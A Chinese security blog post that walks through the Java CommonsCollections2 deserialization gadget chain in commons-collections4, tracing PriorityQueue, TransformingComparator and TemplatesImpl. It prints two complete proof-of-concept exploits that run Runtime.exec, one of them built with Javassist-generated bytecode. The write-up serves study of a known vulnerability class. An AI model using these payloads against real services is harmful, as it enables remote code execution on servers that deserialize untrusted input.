前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Java安全之CommonsCollections2链

Java安全之CommonsCollections2链

作者头像
ph0ebus
发布2023-05-16 11:06:06
4650
发布2023-05-16 11:06:06
举报
文章被收录于专栏:我的网安魔法之旅
  • 前言

前面学习的cc链都是基于commons-collections:commons-collections的3.1-3.2.1这几个版本的,但后面有了新的分支org.apache.commons:commons-collections4的4.0版本。可以发现groupIdartifactId都发生了改变,也就是形成了两个分支。这是因为commons-collections4不是用来替换commons-collections的一个新版本,而是修复旧的commons-collections的⼀些架构和API设计上的问题的一个拓展。两者的命名空间并不冲突,都可以放在同一个项目中。

前面文章提到 cc1 利用链在 JDK8u71 版本以后的高版本下是无法使用的,而cc2链可以在有 commons-collections-4.0 的 jdk8u71 以后的高版本下使用,但commons-collections3.1-3.2.1版本不能去使用

“老”cc链

基于commons-collections:commons-collections的3.1-3.2.1这几个版本的cc链到了commons-collections-4.0还能使用吗?

试试就知道了,首先在pom.xml文件导入依赖

代码语言:javascript
复制
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

这里拿强大的cc6链做实验,直接将包名一改,把import org.apache.commons.collections.*改成import org.apache.commons.collections4.*

然后就会出现报错哩

这是因为在CommonsCollections-4.0版本中,删除了LazyMapdecorate方法

但它还有一个构造方法

代码语言:javascript
复制
protected LazyMap(Map<K, V> map, Transformer<? super K, ? extends V> factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    } else {
        this.factory = factory;
    }
}

它和3.2.1版本的构造方法略微不同,但都是可以让传进的Transformer赋值给this.factory

decorate方法实际上就是创建了一个LazyMap对象

代码语言:javascript
复制
public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

4.0版本中LazyMap类也有一个同义不同名的 lazyMap 方法

代码语言:javascript
复制
public static <V, K> LazyMap<K, V> lazyMap(Map<K, V> map, Transformer<? super K, ? extends V> factory) {
    return new LazyMap(map, factory);
}

因此将LazyMap.decorate()改成LazyMap.lazyMap()即可

运行即可弹出计算器

cc1和cc3链也是如此,他们都可以在CommonsCollections-4.0中使用

TransformingComparator

TransformingComparator是一个比较器comparator,实现了java.util.Comparator接⼝

TransformingComparator调用compare方法时,就会调用传入transformer对象的transform方法

代码语言:javascript
复制
public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

ChainedTransformer对象作为参数传入时就会调用ChainedTransformer#transform反射链执行命令

这就是cc2链的尾巴,之所以commons-collections3.1-3.2.1版本无法使用是因为TransformingComparator在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化

那么这里还需要一个可以连起来的头,而这个头就是java.util.PriorityQueue

PriorityQueue利用链

优先队列PriorityQueueQueue接口的实现类,基于二叉堆实现,可以对其中元素进行排序,和先进先出(FIFO)的队列的区别在于,优先队列每次出队的元素都是优先级最高的元素,Java通过堆使得每次出队的元素总是队列里面最小的

二叉堆是一种特殊的堆,是完全二叉树或者近似于完全二叉树,二叉堆分为最大堆和最小堆 最大堆:父结点的键值总是大于或等于任何一个子节点的键值;最小堆:父结点的键值总是小于或等于任何一个子节点的键值

重点在于每次排序都要触发传入的比较器comparator的compare()方法。并且这个类重写了readObject()方法,跟进一下代码康康

代码语言:javascript
复制
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

该函数中s.defaultReadObject()调用默认的方法,利用readInt()读取了数组的大小,接着通过s.readObject()读取Queue中的元素,因为在反序列化的时候队列元素也被序列化了,接着调用heapify()方法,跟进一下

代码语言:javascript
复制
@SuppressWarnings("unchecked")
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

该函数中会循环寻找最后一个非叶子节点 , 然后倒序调用 siftDown() 方法。>>>无符号右移,将第一个操作数向右移动指定的位数。向右移动的多余位将被丢弃,零位从左侧移入,其符号位变为 0,因此其表示的结果始终为非负数。该函数将无序数组 queue 的内容还原为二叉堆( 优先级队列 )。继续跟进siftDown()方法

代码语言:javascript
复制
private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

这里会判断是否拥有比较器comparator而进入不同比较逻辑。在PriorityQueue的构造方法中是否拥有比较器是可控的,这里要注意当initialCapacity的值小于1时会抛出异常,所以初始化时传入的值要大于或等于2。

代码语言:javascript
复制
public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

然后跟进有比较器时调用的siftDownUsingComparator()方法

代码语言:javascript
复制
@SuppressWarnings("unchecked")
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

该函数当k < half时就能进入循环,调用到比较器的compare()方法⽐较树的节点,这里half = size >>> 1k来自heapify()的循环变量 i 其最小值为0,所以推导出size>=2,这里很容易理解,至少需要两个元素才能触发排序和比较。而size默认值是为0的,需要经过两次入队(offer)后变为2,即调用Queue#add()方法

代码语言:javascript
复制
public boolean add(E e) {
    return offer(e);
}
// ...
public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;  // <--size的值增加
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

总而言之就是,整个优先队列调用重写后的readObject()方法反序列化,然后反序列化队列元素,并调用heapify()方法,让队列中的元素保持优先级顺序,而排序过程就是二叉堆的树节点下移的过程,即调用siftDown()方法,并调用compare()⽅法⽐较树的节点

那么将比较器设置为TransformingComparator就能实现利用链调用了

cc2 POC
代码语言:javascript
复制
import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import java.util.Queue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

public class CommonsCollections_2 {
    public static void main(String[] args) throws Exception {
        // 构造假Transformer数组,这里不再赘述
        Transformer[] faketransfromer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(faketransfromer);
        // 将ChainedTransformer对象放入TransformingComparator对象中
        Comparator comparator = new TransformingComparator(transformerChain);
        // initialCapacity >=2,将比较器设置为TransformingComparator
        Queue queue = new PriorityQueue(2, comparator);
        // size>=2,添加队列元素用于比较,且元素类型一致
        queue.add(1);
        queue.add(2);
        // 放入真正的恶意对象
        setFieldValue(transformerChain, "iTransformers", transformer);
        
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }

    public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field1 = obj.getClass().getDeclaredField(field);
        field1.setAccessible(true);
        field1.set(obj, value);
    }
}
为什么能从流中反序列化queue中的元素?

关于这个问题@zhouliu师傅做出了详细解释

PriorityQueuequeue 已经使用transient关键字修饰,成员使用transient关键字修饰,是为了序列化时不写入流中(该成员可能含有敏感信息,出于保护不写入)

代码语言:javascript
复制
transient Object[] queue;

但是,序列化规范允许待序列化的类实现writeObject方法,实现对自己的成员控制权

代码语言:javascript
复制
private void writeObject(java.io.ObjectOutputStream s)
    throws java.io.IOException {
    // Write out element count, and any hidden stuff
    s.defaultWriteObject();

    // Write out array length, for compatibility with 1.5 version
    s.writeInt(Math.max(2, size + 1));

    // Write out all elements in the "proper order".
    for (int i = 0; i < size; i++)
        s.writeObject(queue[i]);
}

因此queue被写入到了反序列化流中,从而被readObject()在反序列化流中读取队列元素

ysoserial 链的操作

类比CommonsCollections1,通过ChainedTransformerInvokerTransformerConstantTransformer串起来感觉够用了,但ysoserial 链中使用了TemplatesImpl类来承载payload,利用InvokerTransformer来执行TemplatesImpl类中的方法。虽然复杂,但开啃!

利用Javassist操作字节码

javassist( JAVA programming ASSISTant )是一个开源的分析,编辑,创建 Java字节码的类库。它允许开发者自由地在一个已经编译好的类中添加新的方法,或者是修改已有的方法。其主要优点在于简单快速,直接使用 java 编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构, 或者动态生成类。

Javassist中最为重要的是ClassPool, CtClass, CtMethod以及CtField这几个类

ClassPool: 一个基于Hashtable实现的CtClass对象容器, 其中键是类名称, 值是表示该类的CtClass 对象. CtClass: CtClass表示类, 一个CtClass(编译时类)对象可以处理一个class文件, 这些CtClass对象可以从ClassPool获得. CtMethods: 表示类中的方法. CtFields: 表示类中的字段

在pom.xml文件中导入依赖

代码语言:javascript
复制
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.25.0-GA</version>
</dependency>

在 javassist 中,类 javaassit.CtClass 表示 class 文件。一个 CtClass (编译时类)对象可以处理一个 class 文件,ClassPoolCtClass 对象的容器。它按需读取类文件来构造 CtClass 对象,并且保存 CtClass 对象以便以后使用

下面给一个简单实例方便分析

代码语言:javascript
复制
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;

public class Test {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        ClassPool pool = ClassPool.getDefault();  // 获取ClassPool对象, 使用系统默认类路径
        CtClass clazz = pool.get(Test.class.getName());  // 通过类名获取该类的 CtClass 对象,用于后续编辑
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        // makeClassInitializer函数在类中生成静态方法
        clazz.makeClassInitializer().insertBefore(cmd);  // 在static前面插入
        clazz.makeClassInitializer().insertAfter(cmd);  // 在static后面插入
        String Name = "Test1";
        clazz.setName(Name);  // 设置类名
        clazz.writeFile("./a.class");  // 写入文件
    }
}

运行后查看写入的文件

代码语言:javascript
复制
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.IOException;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

public class Test1 {
    public Test1() {
    }

    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Test1.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        clazz.makeClassInitializer().insertBefore(cmd);
        clazz.makeClassInitializer().insertAfter(cmd);
        String Name = "Test1";
        clazz.setName(Name);
        clazz.writeFile("./a.class");
    }

    static {
        Runtime.getRuntime().exec("calc");
        Object var1 = null;
        Runtime.getRuntime().exec("calc");
    }
}

像这样我们就可以利用javassist修改字节码

命令执行点分析

命令执行点一般是构造Payload的起点,是反序列化的终点

javassist可以将类加载成字节码格式并能对其中的方法进行修改,这样就可以把这个序列化后的字符串给其他类的变量赋值了,如果那个类有将这个变量中的字节码给实例化成对象,那么就会触发其中的static的方法。

TemplatesImpl利用链

TemplatesImpl类中存在加载字节码并创建实例的函数

代码语言:javascript
复制
private void defineTransletClasses()
    throws TransformerConfigurationException {

    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader =
            AccessController.doPrivileged(new PrivilegedAction<TransletClassLoader>() {
            public TransletClassLoader run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),
                        _tfactory.getExternalExtensionsMap());
            }
        });  // <--抽象类ClassLoader的子类对象,用于加载java字节码

    try {
        final int classCount = _bytecodes.length;
        _class = new Class<?>[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        // create a module for the translet

        // ...

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i], pd);  // <-- _bytecodes是一个二维数组,其中存放着要加载的java字节码
            final Class<?> superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    // ...
}

所以在调用TemplatesImpl#defineTransletClasses方法时,会把 _bytecodes里面的字节码文件加载成Class对象,Class对象在调用newInstance()方法就会进行实例化,执行无参构造函数。

那么在哪里既调用到了defineTransletClasses方法,也调用到newInstance方法呢?

这个方法就是TemplatesImpl#getTransletInstance()

代码语言:javascript
复制
private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();  // <--

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet)
                _class[_transletIndex].getConstructor().newInstance();  // <--
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setOverrideDefaultParser(_overrideDefaultParser);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException | IllegalAccessException |
            NoSuchMethodException | InvocationTargetException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString(), e);
    }
}

因此这里首先需要满足TemplatesImpl对象中_name的值不为null,才会调用到defineTransletClasses方法,而且调用newInstance方法后进行了类型转换,所以这个类必须继承自AbstractTranslet

但这是个私有方法不能被外部调用,找找哪里调用了getTransletInstance方法

不难发现newTransformer方法中调用了,并且它是一个public方法,那么这部分利用链就出来了

代码语言:javascript
复制
// 通过反射注入bytes的值 
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  // 反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");  // 反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});  // 将templatesImpl上的_bytecodes字段设置为runtime的byte数组
// 通过反射设置_name的值不为null
Field field1=templatesImpl.getClass().getDeclaredField("_name");  // 反射获取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl,"xxx");  // 将templatesImpl上的_name字段设置为xxx

我们只需要通过反射机制传入_name_bytecodes的值即可

接着就直接用InvokerTransformer#transform反射调用TemplatesImpl#newTransformer方法就可以了

这里就回到了开始cc2链的分析,TransformingComparator#compare方法会调用参数中的transform方法

生成带命令执行的Java字节码

那么我们就先利用javassist生成恶意Java字节码并填充在TemplatesImpl对象的_bytecodes属性

代码语言:javascript
复制
// 创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool = ClassPool.getDefault();  // 返回默认的类池
classPool.appendClassPath(AbstractTranslet);  // 添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections2");  // 创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));  // 设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  // 创建一个static方法,并插入runtime
byte[] bytes = payload.toBytecode();
POC链
代码语言:javascript
复制
ObjectInputStream.readObject()
    PriorityQueue.readObject()
        ...
            TransformingComparator.compare()
                InvokerTransformer.transform()
                	TemplatesImpl.newTransformer()
                		newInstance()
                        	Runtime.exec()
代码语言:javascript
复制
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.util.PriorityQueue;

public class Test {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";


        // 创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool = ClassPool.getDefault();  // 返回默认的类池
        classPool.appendClassPath(AbstractTranslet);  // 添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CommonsCollections2");  // 创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));   // 设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");  // 创建一个static方法,并插入runtime
        byte[] bytes = payload.toBytecode();
        
        // 通过反射注入bytes的值
        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();  // 反射创建TemplatesImpl
        Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");  // 反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);
        field.set(templatesImpl, new byte[][]{bytes});  // 将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        // 通过反射设置_name的值不为null
        Field field1 = templatesImpl.getClass().getDeclaredField("_name");  // 反射获取templatesImpl的_name字段
        field1.setAccessible(true);
        field1.set(templatesImpl, "xxx");

        InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator comparator = new TransformingComparator(transformer);  // 使用TransformingComparator修饰器传入transformer对象

        // 创建PriorityQueue实例化对象,排序后使size值为2
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field2 = queue.getClass().getDeclaredField("comparator");  // 获取PriorityQueue的comparator字段
        field2.setAccessible(true);
        field2.set(queue, comparator);  // 设置PriorityQueue的comparator字段值为comparator

        Field field3 = queue.getClass().getDeclaredField("queue");  // 获取PriorityQueue的queue字段
        field3.setAccessible(true);
        field3.set(queue, new Object[]{templatesImpl, templatesImpl});  // 设置PriorityQueue的queue字段内容Object数组,内容为templatesImpl

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

终于结束哩,悲,可能部分地方讲的不是很清楚,欢迎大神指点批评捏

参考链接: ysoserial CommonsColletions2分析 | Atomovo PriorityQueue源码分析 | linghu_java Java篇Commons Collections 2 | Arsene.Tang Ysoserial CommonsColletions2 两个问题 | zhouliu ysoserial CommonsCollections2 详细分析 | D4ck

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-04-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • “老”cc链
  • TransformingComparator
  • PriorityQueue利用链
  • cc2 POC
  • 为什么能从流中反序列化queue中的元素?
  • ysoserial 链的操作
    • 利用Javassist操作字节码
      • 命令执行点分析
        • TemplatesImpl利用链
          • 生成带命令执行的Java字节码
            • POC链
            相关产品与服务
            容器服务
            腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档